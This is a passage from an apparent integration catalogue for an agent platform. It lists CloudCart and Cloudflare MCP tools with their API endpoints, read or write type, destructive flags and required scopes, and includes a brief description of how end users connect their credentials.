/api/v1/cloudcart/products/{id}. Scopes: api. cloudcart_delete_products_by_product_id_relationships_linked_products (write, destructive) — Delete a Linked Product (Products) via DELETE /products/{product_id}/relationships/linked-products DELETE /api/v1/cloudcart/products/{product_id}/relationships/linked-products. Scopes: api. cloudcart_delete_properties_by_id (write, destructive) — Delete a Property (Properties) via DELETE /properties/{id} DELETE /api/v1/cloudcart/properties/{id}. Scopes: api. cloudcart_delete_property_options_by_id (write, destructive) — Delete a Property Option (Property Options) via DELETE /property-options/{id} DELETE /api/v1/cloudcart/property-options/{id}. Scopes: api. cloudcart_delete_redirects_by_id (write, destructive) — Delete a Redirect (Redirects) via DELETE /redirects/{id} DELETE /api/v1/cloudcart/redirects/{id}. Scopes: api. cloudcart_delete_store_quantity_by_id (write, destructive) — Delete a Store Quantity (Store Quantity) via DELETE /store-quantity/{id} DELETE /api/v1/cloudcart/store-quantity/{id}. Scopes: api. cloudcart_delete_subscribers_by_id (write, destructive) — Delete a Subscriber (Subscribers) via DELETE /subscribers/{id} DELETE /api/v1/cloudcart/subscribers/{id}. Scopes: api. cloudcart_delete_subscribers_channels_by_id (write, destructive) — Delete a Channel (Subscribers - channels) via DELETE /subscribers-channels/{id} DELETE /api/v1/cloudcart/subscribers-channels/{id}. Scopes: api. cloudcart_delete_subscribers_tags_by_id (write, destructive) — Delete a subsciber tag (Subscribers - tags) via DELETE /subscribers-tags/{id} DELETE /api/v1/cloudcart/subscribers-tags/{id}. Scopes: api. cloudcart_delete_tags_by_id (write, destructive) — Delete a tag (Blog - Tags) via DELETE /tags/{id} DELETE /api/v1/cloudcart/tags/{id}. Scopes: api. cloudcart_delete_variant_options_by_id (write, destructive) — Delete a Variant Option (Variant Options) via DELETE /variant-options/{id} DELETE /api/v1/cloudcart/variant-options/{id}. Scopes: api. cloudcart_delete_variant_parameters_by_id (write, destructive) — Delete a Variant Parameter (Variant Parameters) via DELETE /variant-parameters/{id} DELETE /api/v1/cloudcart/variant-parameters/{id}. Scopes: api. cloudcart_delete_variants_by_id (write, destructive) — Delete a Variant (Variants) via DELETE /variants/{id} DELETE /api/v1/cloudcart/variants/{id}. Scopes: api. cloudcart_delete_vendors_by_id (write, destructive) — Delete a Vendor (Vendors) via DELETE /vendors/{id} DELETE /api/v1/cloudcart/vendors/{id}. Scopes: api. cloudcart_delete_webhooks_by_id (write, destructive) — Delete a Webhook (Webhooks) via DELETE /webhooks/{id} DELETE /api/v1/cloudcart/webhooks/{id}. Scopes: api. cloudcart_get_authors (read) — Get all authors (Blog - authors) via GET /authors GET /api/v1/cloudcart/authors. Scopes: api. cloudcart_get_authors_by_id (read) — Get a Author (Blog - authors) via GET /authors/{id} GET /api/v1/cloudcart/authors/{id}. Scopes: api. cloudcart_get_blogs (read) — Get all blog categories (Blog - Categories) via GET /blogs GET /api/v1/cloudcart/blogs. Scopes: api. cloudcart_get_blogs_by_id (read) — Get a blog Category (Blog - Categories) via GET /blogs/{id} GET /api/v1/cloudcart/blogs/{id}. Scopes: api. cloudcart_get_categories (read) — Get all Categories (Categories) via GET /categories GET /api/v1/cloudcart/categories. Scopes: api. cloudcart_get_categories_by_id (read) — Get a Category (Categories) via GET /categories/{id} GET /api/v1/cloudcart/categories/{id}. Scopes: api. cloudcart_get_categories_by_id_relationships_properties (read) — Manage Category Properties (Categories) via GET /categories/{id}/relationships/properties GET /api/v1/cloudcart/categories/{id}/relationships/properties. Scopes: api. cloudcart_get_customer_billing_address (read) — Get all Customer Billing Addresses (Customer Billing Address) via GET /customer-billing-address GET /api/v1/cloudcart/customer-billing-address. Scopes: api. cloudcart_get_customer_billing_address_by_id (read) — Get a Customer Billing Address (Customer Billing Address) via GET /customer-billing-address/{id} GET /api/v1/cloudcart/customer-billing-address/{id}. Scopes: api. cloudcart_get_customer_groups (read) — Get all Customer Groups (Customer Groups) via GET /customer-groups GET /api/v1/cloudcart/customer-groups. Scopes: api. cloudcart_get_customer_groups_by_id (read) — Get a Customer Group (Customer Groups) via GET /customer-groups/{id} GET /api/v1/cloudcart/customer-groups/{id}. Scopes: api. cloudcart_get_customer_shipping_address (read) — Get all Customer Shipping Addresses (Customer Shipping Address) via GET /customer-shipping-address GET /api/v1/cloudcart/customer-shipping-address. Scopes: api. cloudcart_get_customer_shipping_address_by_id (read) — Get a Customer Shipping Address (Customer Shipping Address) via GET /customer-shipping-address/{id} GET /api/v1/cloudcart/customer-shipping-address/{id}. Scopes: api. cloudcart_get_customer_tags (read) — Get all customer tags (Customer tags) via GET /customer-tags GET /api/v1/cloudcart/customer-tags. Scopes: api. cloudcart_get_customer_tags_by_id (read) — Get a customer tags (Customer tags) via GET /customer-tags/{id} GET /api/v1/cloudcart/customer-tags/{id}. Scopes: api. cloudcart_get_customers (read) — Get all Customers (Customers) via GET /customers GET /api/v1/cloudcart/customers. Scopes: api. cloudcart_get_customers_by_id (read) — Get a Customer (Customers) via GET /customers/{id} GET /api/v1/cloudcart/customers/{id}. Scopes: api. cloudcart_get_discount_codes (read) — Get all Discount Codes (Discount Codes) via GET /discount-codes GET /api/v1/cloudcart/discount-codes. Scopes: api. cloudcart_get_discount_codes_pro (read) — Get all Discount Codes Pro (Discount Codes Pro) via GET /discount-codes-pro GET /api/v1/cloudcart/discount-codes-pro. Scopes: api. cloudcart_get_images (read) — Get all Images (Images) via GET /images GET /api/v1/cloudcart/images. Scopes: api. cloudcart_get_images_by_id (read) — Get an Image (Images) via GET /images/{id} GET /api/v1/cloudcart/images/{id}. Scopes: api. cloudcart_get_orders (read) — Get all Orders (Orders) via GET /orders GET /api/v1/cloudcart/orders. Scopes: api. cloudcart_get_orders_by_id (read) — Get an Order (Orders) via GET /orders/{id} GET /api/v1/cloudcart/orders/{id}. Scopes: api. cloudcart_get_posts (read) — Get all Posts (Blog - Posts) via GET /posts GET /api/v1/cloudcart/posts. Scopes: api. cloudcart_get_posts_by_id (read) — Get a Post (Blog - Posts) via GET /posts/{id} GET /api/v1/cloudcart/posts/{id}. Scopes: api. cloudcart_get_products (read) — Get all Products (Products) via GET /products GET /api/v1/cloudcart/products. Scopes: api. cloudcart_get_products_by_id (read) — Get a Product (Products) via GET /products/{id} GET /api/v1/cloudcart/products/{id}. Scopes: api. cloudcart_get_products_by_id_relationships_property_options (read) — Manage Product Property Options (Products) via GET /products/{id}/relationships/property-options GET /api/v1/cloudcart/products/{id}/relationships/property-options. Scopes: api. cloudcart_get_properties (read) — Get all Properties (Properties) via GET /properties GET /api/v1/cloudcart/properties. Scopes: api. cloudcart_get_properties_by_id (read) — Get a Property (Properties) via GET /properties/{id} GET /api/v1/cloudcart/properties/{id}. Scopes: api. cloudcart_get_property_options (read) — Get all Property Options (Property Options) via GET /property-options GET /api/v1/cloudcart/property-options. Scopes: api. cloudcart_get_property_options_by_id (read) — Get a Property Option (Property Options) via GET /property-options/{id} GET /api/v1/cloudcart/property-options/{id}. Scopes: api. cloudcart_get_redirects (read) — Get all Redirects (Redirects) via GET /redirects GET /api/v1/cloudcart/redirects. Scopes: api. cloudcart_get_segments (read) — Get all Segments (Segments) via GET /segments GET /api/v1/cloudcart/segments. Scopes: api. cloudcart_get_segments_by_id (read) — Get a Segment (Segments) via GET /segments/{id} GET /api/v1/cloudcart/segments/{id}. Scopes: api. cloudcart_get_store_quantity (read) — Get all Quantities (Store Quantity) via GET /store-quantity GET /api/v1/cloudcart/store-quantity. Scopes: api. cloudcart_get_store_quantity_by_id (read) — Get a Store Quantity (Store Quantity) via GET /store-quantity/{id} GET /api/v1/cloudcart/store-quantity/{id}. Scopes: api. cloudcart_get_stores (read) — Get all Stores (Stores) via GET /stores GET /api/v1/cloudcart/stores. Scopes: api. cloudcart_get_stores_by_id (read) — Get a Store (Stores) via GET /stores/{id} GET /api/v1/cloudcart/stores/{id}. Scopes: api. cloudcart_get_subscribers (read) — Get all Subscribers (Subscribers) via GET /subscribers GET /api/v1/cloudcart/subscribers. Scopes: api. cloudcart_get_subscribers_by_id (read) — Get a Subscriber (Subscribers) via GET /subscribers/{id} GET /api/v1/cloudcart/subscribers/{id}. Scopes: api. cloudcart_get_subscribers_channels (read) — Get all Channels (Subscribers - channels) via GET /subscribers-channels GET /api/v1/cloudcart/subscribers-channels. Scopes: api. cloudcart_get_subscribers_channels_by_id (read) — Get a Channel (Subscribers - channels) via GET /subscribers-channels/{id} GET /api/v1/cloudcart/subscribers-channels/{id}. Scopes: api. cloudcart_get_subscribers_tags (read) — Get all subscriber tags (Subscribers - tags) via GET /subscribers-tags GET /api/v1/cloudcart/subscribers-tags. Scopes: api. cloudcart_get_subscribers_tags_by_id (read) — Get a subscriber tags (Subscribers - tags) via GET /subscribers-tags/{id} GET /api/v1/cloudcart/subscribers-tags/{id}. Scopes: api. cloudcart_get_tags (read) — Get all tags (Blog - Tags) via GET /tags GET /api/v1/cloudcart/tags. Scopes: api. cloudcart_get_tags_by_id (read) — Get a blog Tag (Blog - Tags) via GET /tags/{id} GET /api/v1/cloudcart/tags/{id}. Scopes: api. cloudcart_get_variant_options (read) — Get all Variant Options (Variant Options) via GET /variant-options GET /api/v1/cloudcart/variant-options. Scopes: api. cloudcart_get_variant_options_by_id (read) — Get a Variant Option (Variant Options) via GET /variant-options/{id} GET /api/v1/cloudcart/variant-options/{id}. Scopes: api. cloudcart_get_variant_parameters (read) — Get all Variant Parameters (Variant Parameters) via GET /variant-parameters GET /api/v1/cloudcart/variant-parameters. Scopes: api. cloudcart_get_variant_parameters_by_id (read) — Get a Variant Parameter (Variant Parameters) via GET /variant-parameters/{id} GET /api/v1/cloudcart/variant-parameters/{id}. Scopes: api. cloudcart_get_variants (read) — Get all Variants (Variants) via GET /variants GET /api/v1/cloudcart/variants. Scopes: api. cloudcart_get_variants_by_id (read) — Get a Variant (Variants) via GET /variants/{id} GET /api/v1/cloudcart/variants/{id}. Scopes: api. cloudcart_get_vendors (read) — Get all Vendors (Vendors) via GET /vendors GET /api/v1/cloudcart/vendors. Scopes: api. cloudcart_get_vendors_by_id (read) — Get a Vendor (Vendors) via GET /vendors/{id} GET /api/v1/cloudcart/vendors/{id}. Scopes: api. cloudcart_get_webhooks (read) — Get all Webhooks (Webhooks) via GET /webhooks GET /api/v1/cloudcart/webhooks. Scopes: api. cloudcart_get_webhooks_by_id (read) — Get a Webhook (Webhooks) via GET /webhooks/{id} GET /api/v1/cloudcart/webhooks/{id}. Scopes: api. cloudcart_patch_blogs_by_id (write) — Update a blog Category (Blog - Categories) via PATCH /blogs/{id} PATCH /api/v1/cloudcart/blogs/{id}. Scopes: api. cloudcart_patch_categories_by_id (write) — Update a Category (Categories) via PATCH /categories/{id} PATCH /api/v1/cloudcart/categories/{id}. Scopes: api. cloudcart_patch_customer_billing_address_by_id (write) — Update a Customer Billing Address (Customer Billing Address) via PATCH /customer-billing-address/{id} PATCH /api/v1/cloudcart/customer-billing-address/{id}. Scopes: api. cloudcart_patch_customer_groups_by_id (write) — Update a Customer Group (Customer Groups) via PATCH /customer-groups/{id} PATCH /api/v1/cloudcart/customer-groups/{id}. Scopes: api. cloudcart_patch_customer_shipping_address_by_id (write) — Update a Customer Shipping Address (Customer Shipping Address) via PATCH /customer-shipping-address/{id} PATCH /api/v1/cloudcart/customer-shipping-address/{id}. Scopes: api. cloudcart_patch_customer_tags_by_id (write) — Update a customer tags (Customer tags) via PATCH /customer-tags/{id} PATCH /api/v1/cloudcart/customer-tags/{id}. Scopes: api. cloudcart_patch_customers_by_id (write) — Update a Customer (Customers) via PATCH /customers/{id} PATCH /api/v1/cloudcart/customers/{id}. Scopes: api. cloudcart_patch_discount_codes_by_id (write) — Update a Discount Code (Discount Codes) via PATCH /discount-codes/{id} PATCH /api/v1/cloudcart/discount-codes/{id}. Scopes: api. cloudcart_patch_discount_codes_pro_by_id (write) — Update a Discount Code Pro (Discount Codes Pro) via PATCH /discount-codes-pro/{id} PATCH /api/v1/cloudcart/discount-codes-pro/{id}. Scopes: api. cloudcart_patch_orders_by_id (write) — Update an Order (Orders) via PATCH /orders/{id} PATCH /api/v1/cloudcart/orders/{id}. Scopes: api. cloudcart_patch_posts_by_id (write) — Update a Post (Blog - Posts) via PATCH /posts/{id} PATCH /api/v1/cloudcart/posts/{id}. Scopes: api. cloudcart_patch_products_by_id (write) — Update a Product (Products) via PATCH /products/{id} PATCH /api/v1/cloudcart/products/{id}. Scopes: api. cloudcart_patch_products_by_product_id_relationships_linked_products (write) — Update a Linked Product (Products) via PATCH /products/{product_id}/relationships/linked-products PATCH /api/v1/cloudcart/products/{product_id}/relationships/linked-products. Scopes: api. cloudcart_patch_properties_by_id (write) — Update a Property (Properties) via PATCH /properties/{id} PATCH /api/v1/cloudcart/properties/{id}. Scopes: api. cloudcart_patch_property_options_by_id (write) — Update a Property Option (Property Options) via PATCH /property-options/{id} PATCH /api/v1/cloudcart/property-options/{id}. Scopes: api. cloudcart_patch_store_quantity_by_id (write) — Update a Store Quantity (Store Quantity) via PATCH /store-quantity/{id} PATCH /api/v1/cloudcart/store-quantity/{id}. Scopes: api. cloudcart_patch_subscribers_by_id (write) — Update a Subscriber (Subscribers) via PATCH /subscribers/{id} PATCH /api/v1/cloudcart/subscribers/{id}. Scopes: api. cloudcart_patch_subscribers_channels_by_id (write) — Update a Channel (Subscribers - channels) via PATCH /subscribers-channels/{id} PATCH /api/v1/cloudcart/subscribers-channels/{id}. Scopes: api. cloudcart_patch_subscribers_tags_by_id (write) — Update a subscriber tags (Subscribers - tags) via PATCH /subscribers-tags/{id} PATCH /api/v1/cloudcart/subscribers-tags/{id}. Scopes: api. cloudcart_patch_tags_by_id (write) — Update a tag (Blog - Tags) via PATCH /tags/{id} PATCH /api/v1/cloudcart/tags/{id}. Scopes: api. cloudcart_patch_variant_options_by_id (write) — Update a Variant Option (Variant Options) via PATCH /variant-options/{id} PATCH /api/v1/cloudcart/variant-options/{id}. Scopes: api. cloudcart_patch_variant_parameters_by_id (write) — Update a Variant Parameter (Variant Parameters) via PATCH /variant-parameters/{id} PATCH /api/v1/cloudcart/variant-parameters/{id}. Scopes: api. cloudcart_patch_variants_by_id (write) — Update a Variant (Variants) via PATCH /variants/{id} PATCH /api/v1/cloudcart/variants/{id}. Scopes: api. cloudcart_patch_vendors_by_id (write) — Update a Vendor (Vendors) via PATCH /vendors/{id} PATCH /api/v1/cloudcart/vendors/{id}. Scopes: api. cloudcart_patch_webhooks_by_id (write) — Update a Webhook (Webhooks) via PATCH /webhooks/{id} PATCH /api/v1/cloudcart/webhooks/{id}. Scopes: api. cloudcart_post_blogs (write) — Create a blog Category (Blog - Categories) via POST /blogs POST /api/v1/cloudcart/blogs. Scopes: api. cloudcart_post_categories (write) — Create a Category (Categories) via POST /categories POST /api/v1/cloudcart/categories. Scopes: api. cloudcart_post_customer_billing_address (write) — Create a Customer Billing Address (Customer Billing Address) via POST /customer-billing-address POST /api/v1/cloudcart/customer-billing-address. Scopes: api. cloudcart_post_customer_groups (write) — Create a Customer Group (Customer Groups) via POST /customer-groups POST /api/v1/cloudcart/customer-groups. Scopes: api. cloudcart_post_customer_shipping_address (write) — Create a Customer Shipping Address (Customer Shipping Address) via POST /customer-shipping-address POST /api/v1/cloudcart/customer-shipping-address. Scopes: api. cloudcart_post_customer_tags (write) — Create a customer tag (Customer tags) via POST /customer-tags POST /api/v1/cloudcart/customer-tags. Scopes: api. cloudcart_post_customers (write) — Create a Customer (Customers) via POST /customers POST /api/v1/cloudcart/customers. Scopes: api. cloudcart_post_discount_codes (write) — Create a Discount Code (Discount Codes) via POST /discount-codes POST /api/v1/cloudcart/discount-codes. Scopes: api. cloudcart_post_discount_codes_generate (write) — Generate Discount Codes (Discount Codes) via POST /discount-codes/generate POST /api/v1/cloudcart/discount-codes/generate. Scopes: api. cloudcart_post_discount_codes_pro (write) — Create a Discount Code Pro (Discount Codes Pro) via POST /discount-codes-pro POST /api/v1/cloudcart/discount-codes-pro. Scopes: api. cloudcart_post_discount_codes_pro_generate (write) — Generate Discount Codes Pro (Discount Codes Pro) via POST /discount-codes-pro/generate POST /api/v1/cloudcart/discount-codes-pro/generate. Scopes: api. cloudcart_post_discounts (write) — Create a Discount (Discounts) via POST /discounts POST /api/v1/cloudcart/discounts. Scopes: api. cloudcart_post_images (write) — Create an Image (Images) via POST /images POST /api/v1/cloudcart/images. Scopes: api. cloudcart_post_order_fulfillment (write) — Create Order Fulfillment (Order Fulfillment) via POST /order-fulfillment POST /api/v1/cloudcart/order-fulfillment. Scopes: api. cloudcart_post_posts (write) — Create a Post (Blog - Posts) via POST /posts POST /api/v1/cloudcart/posts. Scopes: api. cloudcart_post_product_to_discount (write) — Create Product To Discount (Product To Discount) via POST /product-to-discount POST /api/v1/cloudcart/product-to-discount. Scopes: api. cloudcart_post_products (write) — Create a Product (Products) via POST /products POST /api/v1/cloudcart/products. Scopes: api. cloudcart_post_products_by_product_id_relationships_linked_products (write) — Create a Linked Product (Products) via POST /products/{product_id}/relationships/linked-products POST /api/v1/cloudcart/products/{product_id}/relationships/linked-products. Scopes: api. cloudcart_post_properties (write) — Create a Property (Properties) via POST /properties POST /api/v1/cloudcart/properties. Scopes: api. cloudcart_post_property_options (write) — Create a Property Option (Property Options) via POST /property-options POST /api/v1/cloudcart/property-options. Scopes: api. cloudcart_post_redirects (write) — Create a Redirect (Redirects) via POST /redirects POST /api/v1/cloudcart/redirects. Scopes: api. cloudcart_post_store_quantity (write) — Create a Store Quantity (Store Quantity) via POST /store-quantity POST /api/v1/cloudcart/store-quantity. Scopes: api. cloudcart_post_subscribers (write) — Create a Subscriber (Subscribers) via POST /subscribers POST /api/v1/cloudcart/subscribers. Scopes: api. cloudcart_post_subscribers_channels (write) — Create a Channel (Subscribers - channels) via POST /subscribers-channels POST /api/v1/cloudcart/subscribers-channels. Scopes: api. cloudcart_post_subscribers_tags (write) — Create a subscriber tag (Subscribers - tags) via POST /subscribers-tags POST /api/v1/cloudcart/subscribers-tags. Scopes: api. cloudcart_post_tags (write) — Create a blog tag (Blog - Tags) via POST /tags POST /api/v1/cloudcart/tags. Scopes: api. cloudcart_post_variant_options (write) — Create a Variant Option (Variant Options) via POST /variant-options POST /api/v1/cloudcart/variant-options. Scopes: api. cloudcart_post_variant_parameters (write) — Create a Variant Parameter (Variant Parameters) via POST /variant-parameters POST /api/v1/cloudcart/variant-parameters. Scopes: api. cloudcart_post_variants (write) — Create a Variant (Variants) via POST /variants POST /api/v1/cloudcart/variants. Scopes: api. cloudcart_post_vendors (write) — Create a Vendor (Vendors) via POST /vendors POST /api/v1/cloudcart/vendors. Scopes: api. cloudcart_post_webhooks (write) — Create a Webhook (Webhooks) via POST /webhooks POST /api/v1/cloudcart/webhooks. Scopes: api. ================================================================================ ## Cloudflare URL: https://www.agenticfabriq.com/integrations/cloudflare Section: Integrated Tools Cloudflare — 309 MCP tools Provider key: cloudflare. Scopes: account_rulesets:read, account_rulesets:write, cache_purge, dns:read, dns:write, firewall_services:read, firewall_services:write, page_rules:read, page_rules:write, ssl_certificates:read, ssl_certificates:write, zone:read, zone:write, zone_settings:read, zone_settings:write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. cloudflare_delete_accounts_by_account_id_rulesets_by_ruleset_id (write, destructive) — Delete an account ruleset via DELETE /accounts/{account_id}/rulesets/{ruleset_id} DELETE /api/v1/cloudflare/accounts/{account_id}/rulesets/{ruleset_id}. Scopes: account_rulesets:write. cloudflare_delete_accounts_by_account_id_rulesets_by_ruleset_id_rules_by_rule_id (write, destructive) — Delete an account ruleset rule via DELETE /accounts/{account_id}/rulesets/{ruleset_id}/rules/{rule_id} DELETE /api/v1/cloudflare/accounts/{account_id}/rulesets/{ruleset_id}/rules/{rule_id}. Scopes: account_rulesets:write. cloudflare_delete_accounts_by_account_id_rulesets_by_ruleset_id_versions_by_ruleset_version (write, destructive) — Delete an account ruleset version via DELETE /accounts/{account_id}/rulesets/{ruleset_id}/versions/{ruleset_version} DELETE /api/v1/cloudflare/accounts/{account_id}/rulesets/{ruleset_id}/versions/{ruleset_version}. Scopes: account_rulesets:write. cloudflare_delete_zones_by_zone_id (write, destructive) — Delete Zone via DELETE /zones/{zone_id} DELETE /api/v1/cloudflare/zones/{zone_id}. Scopes: zone:write. cloudflare_delete_zones_by_zone_id_acm_custom_trust_store_by_custom_origin_trust_store_id (write, destructive) — Delete Custom Origin Trust Store via DELETE /zones/{zone_id}/acm/custom_trust_store/{custom_origin_trust_store_id} DELETE /api/v1/cloudflare/zones/{zone_id}/acm/custom_trust_store/{custom_origin_trust_store_id}. Scopes: ssl_certificates:write. cloudflare_delete_zones_by_zone_id_addressing_regional_hostnames_by_hostname (write, destructive) — Delete Regional Hostname via DELETE /zones/{zone_id}/addressing/regional_hostnames/{hostname} DELETE /api/v1/cloudflare/zones/{zone_id}/addressing/regional_hostnames/{hostname}. Scopes: dns:write. cloudflare_delete_zones_by_zone_id_cache_tiered_cache_smart_topology_enable (write, destructive) — Delete Smart Tiered Cache setting via DELETE /zones/{zone_id}/cache/tiered_cache_smart_topology_enable DELETE /api/v1/cloudflare/zones/{zone_id}/cache/tiered_cache_smart_topology_enable. Scopes: zone_settings:write. cloudflare_delete_zones_by_zone_id_cache_variants (write, destructive) — Delete variants setting via DELETE /zones/{zone_id}/cache/variants DELETE /api/v1/cloudflare/zones/{zone_id}/cache/variants. Scopes: zone_settings:write. cloudflare_delete_zones_by_zone_id_client_certificates_by_client_certificate_id (write, destructive) — Revoke Client Certificate via DELETE /zones/{zone_id}/client_certificates/{client_certificate_id} DELETE /api/v1/cloudflare/zones/{zone_id}/client_certificates/{client_certificate_id}. Scopes: ssl_certificates:write. cloudflare_delete_zones_by_zone_id_custom_csrs_by_custom_csr_id (write, destructive) — Delete Custom CSR via DELETE /zones/{zone_id}/custom_csrs/{custom_csr_id} DELETE /api/v1/cloudflare/zones/{zone_id}/custom_csrs/{custom_csr_id}. Scopes: ssl_certificates:write. cloudflare_delete_zones_by_zone_id_custom_hostnames_by_custom_hostname_id (write, destructive) — Delete Custom Hostname (and any issued SSL certificates) via DELETE /zones/{zone_id}/custom_hostnames/{custom_hostname_id} DELETE /api/v1/cloudflare/zones/{zone_id}/custom_hostnames/{custom_hostname_id}. Scopes: ssl_certificates:write. cloudflare_delete_zones_by_zone_id_custom_hostnames_by_custom_hostname_id_certificate_pack_by_certificate_pack_id_certificates_by_certificate_id (write, destructive) — Delete Single Certificate And Key For Custom Hostname via DELETE /zones/{zone_id}/custom_hostnames/{custom_hostname_id}/certificate_pack/{certificate_pack_id}/certificates/{certificate_id} DELETE /api/v1/cloudflare/zones/{zone_id}/custom_hostnames/{custom_hostname_id}/certificate_pack/{certificate_pack_id}/certificates/{certificate_id}. Scopes: ssl_certificates:write. cloudflare_delete_zones_by_zone_id_custom_hostnames_fallback_origin (write, destructive) — Delete Fallback Origin for Custom Hostnames via DELETE /zones/{zone_id}/custom_hostnames/fallback_origin DELETE /api/v1/cloudflare/zones/{zone_id}/custom_hostnames/fallback_origin. Scopes: ssl_certificates:write. cloudflare_delete_zones_by_zone_id_dns_records_by_dns_record_id (write, destructive) — Delete DNS Record via DELETE /zones/{zone_id}/dns_records/{dns_record_id} DELETE /api/v1/cloudflare/zones/{zone_id}/dns_records/{dns_record_id}. Scopes: dns:write. cloudflare_delete_zones_by_zone_id_dnssec (write, destructive) — Delete DNSSEC records via DELETE /zones/{zone_id}/dnssec DELETE /api/v1/cloudflare/zones/{zone_id}/dnssec. Scopes: dns:write. cloudflare_delete_zones_by_zone_id_email_routing_dns (write, destructive) — Disable Email Routing (zone / email / routing / dns) via DELETE /zones/{zone_id}/email/routing/dns DELETE /api/v1/cloudflare/zones/{zone_id}/email/routing/dns. Scopes: zone_settings:write. cloudflare_delete_zones_by_zone_id_filters (write, destructive) — Delete filters (deprecated) via DELETE /zones/{zone_id}/filters DELETE /api/v1/cloudflare/zones/{zone_id}/filters. Scopes: firewall_services:write. cloudflare_delete_zones_by_zone_id_filters_by_filter_id (write, destructive) — Delete a filter (deprecated) via DELETE /zones/{zone_id}/filters/{filter_id} DELETE /api/v1/cloudflare/zones/{zone_id}/filters/{filter_id}. Scopes: firewall_services:write. cloudflare_delete_zones_by_zone_id_firewall_access_rules_rules_by_rule_id (write, destructive) — Delete an IP Access rule via DELETE /zones/{zone_id}/firewall/access_rules/rules/{rule_id} DELETE /api/v1/cloudflare/zones/{zone_id}/firewall/access_rules/rules/{rule_id}. Scopes: firewall_services:write. cloudflare_delete_zones_by_zone_id_firewall_lockdowns_by_lock_downs_id (write, destructive) — Delete a Zone Lockdown rule via DELETE /zones/{zone_id}/firewall/lockdowns/{lock_downs_id} DELETE /api/v1/cloudflare/zones/{zone_id}/firewall/lockdowns/{lock_downs_id}. Scopes: firewall_services:write. cloudflare_delete_zones_by_zone_id_firewall_rules (write, destructive) — Delete firewall rules (deprecated) via DELETE /zones/{zone_id}/firewall/rules DELETE /api/v1/cloudflare/zones/{zone_id}/firewall/rules. Scopes: firewall_services:write. cloudflare_delete_zones_by_zone_id_firewall_rules_by_rule_id (write, destructive) — Delete a firewall rule (deprecated) via DELETE /zones/{zone_id}/firewall/rules/{rule_id} DELETE /api/v1/cloudflare/zones/{zone_id}/firewall/rules/{rule_id}. Scopes: firewall_services:write. cloudflare_delete_zones_by_zone_id_firewall_ua_rules_by_ua_rule_id (write, destructive) — Delete a User Agent Blocking rule via DELETE /zones/{zone_id}/firewall/ua_rules/{ua_rule_id} DELETE /api/v1/cloudflare/zones/{zone_id}/firewall/ua_rules/{ua_rule_id}. Scopes: firewall_services:write. cloudflare_delete_zones_by_zone_id_firewall_waf_overrides_by_overrides_id (write, destructive) — Delete a WAF override (deprecated) via DELETE /zones/{zone_id}/firewall/waf/overrides/{overrides_id} DELETE /api/v1/cloudflare/zones/{zone_id}/firewall/waf/overrides/{overrides_id}. Scopes: zone_settings:write. cloudflare_delete_zones_by_zone_id_hold (write, destructive) — Remove Zone Hold via DELETE /zones/{zone_id}/hold DELETE /api/v1/cloudflare/zones/{zone_id}/hold. Scopes: zone:write. cloudflare_delete_zones_by_zone_id_hostnames_settings_by_setting_id_by_hostname (write, destructive) — Delete TLS setting for hostname via DELETE /zones/{zone_id}/hostnames/settings/{setting_id}/{hostname} DELETE /api/v1/cloudflare/zones/{zone_id}/hostnames/settings/{setting_id}/{hostname}. Scopes: ssl_certificates:write. cloudflare_delete_zones_by_zone_id_keyless_certificates_by_keyless_certificate_id (write, destructive) — Delete Keyless SSL Configuration via DELETE /zones/{zone_id}/keyless_certificates/{keyless_certificate_id} DELETE /api/v1/cloudflare/zones/{zone_id}/keyless_certificates/{keyless_certificate_id}. Scopes: ssl_certificates:write. cloudflare_delete_zones_by_zone_id_managed_headers (write, destructive) — Delete Managed Transforms via DELETE /zones/{zone_id}/managed_headers DELETE /api/v1/cloudflare/zones/{zone_id}/managed_headers. Scopes: account_rulesets:write. cloudflare_delete_zones_by_zone_id_origin_tls_client_auth_by_certificate_id (write, destructive) — Delete Certificate via DELETE /zones/{zone_id}/origin_tls_client_auth/{certificate_id} DELETE /api/v1/cloudflare/zones/{zone_id}/origin_tls_client_auth/{certificate_id}. Scopes: ssl_certificates:write. cloudflare_delete_zones_by_zone_id_origin_tls_client_auth_hostnames_certificates_by_certificate_id (write, destructive) — Delete Hostname Client Certificate via DELETE /zones/{zone_id}/origin_tls_client_auth/hostnames/certificates/{certificate_id} DELETE /api/v1/cloudflare/zones/{zone_id}/origin_tls_client_auth/hostnames/certificates/{certificate_id}. Scopes: ssl_certificates:write. cloudflare_delete_zones_by_zone_id_pagerules_by_pagerule_id (write, destructive) — Delete a Page Rule via DELETE /zones/{zone_id}/pagerules/{pagerule_id} DELETE /api/v1/cloudflare/zones/{zone_id}/pagerules/{pagerule_id}. Scopes: page_rules:write. cloudflare_delete_zones_by_zone_id_rate_limits_by_rate_limit_id (write, destructive) — Delete a rate limit (deprecated) via DELETE /zones/{zone_id}/rate_limits/{rate_limit_id} DELETE /api/v1/cloudflare/zones/{zone_id}/rate_limits/{rate_limit_id}. Scopes: firewall_services:write. cloudflare_delete_zones_by_zone_id_rulesets_by_ruleset_id (write, destructive) — Delete a zone ruleset via DELETE /zones/{zone_id}/rulesets/{ruleset_id} DELETE /api/v1/cloudflare/zones/{zone_id}/rulesets/{ruleset_id}. Scopes: account_rulesets:write. cloudflare_delete_zones_by_zone_id_rulesets_by_ruleset_id_rules_by_rule_id (write, destructive) — Delete a zone ruleset rule via DELETE /zones/{zone_id}/rulesets/{ruleset_id}/rules/{rule_id} DELETE /api/v1/cloudflare/zones/{zone_id}/rulesets/{ruleset_id}/rules/{rule_id}. Scopes: account_rulesets:write. cloudflare_delete_zones_by_zone_id_rulesets_by_ruleset_id_versions_by_ruleset_version (write, destructive) — Delete a zone ruleset version via DELETE /zones/{zone_id}/rulesets/{ruleset_id}/versions/{ruleset_version} DELETE /api/v1/cloudflare/zones/{zone_id}/rulesets/{ruleset_id}/versions/{ruleset_version}. Scopes: account_rulesets:write. cloudflare_delete_zones_by_zone_id_secondary_dns_incoming (write, destructive) — Delete Secondary Zone Configuration via DELETE /zones/{zone_id}/secondary_dns/incoming DELETE /api/v1/cloudflare/zones/{zone_id}/secondary_dns/incoming. Scopes: dns:write. cloudflare_delete_zones_by_zone_id_secondary_dns_outgoing (write, destructive) — Delete Primary Zone Configuration via DELETE 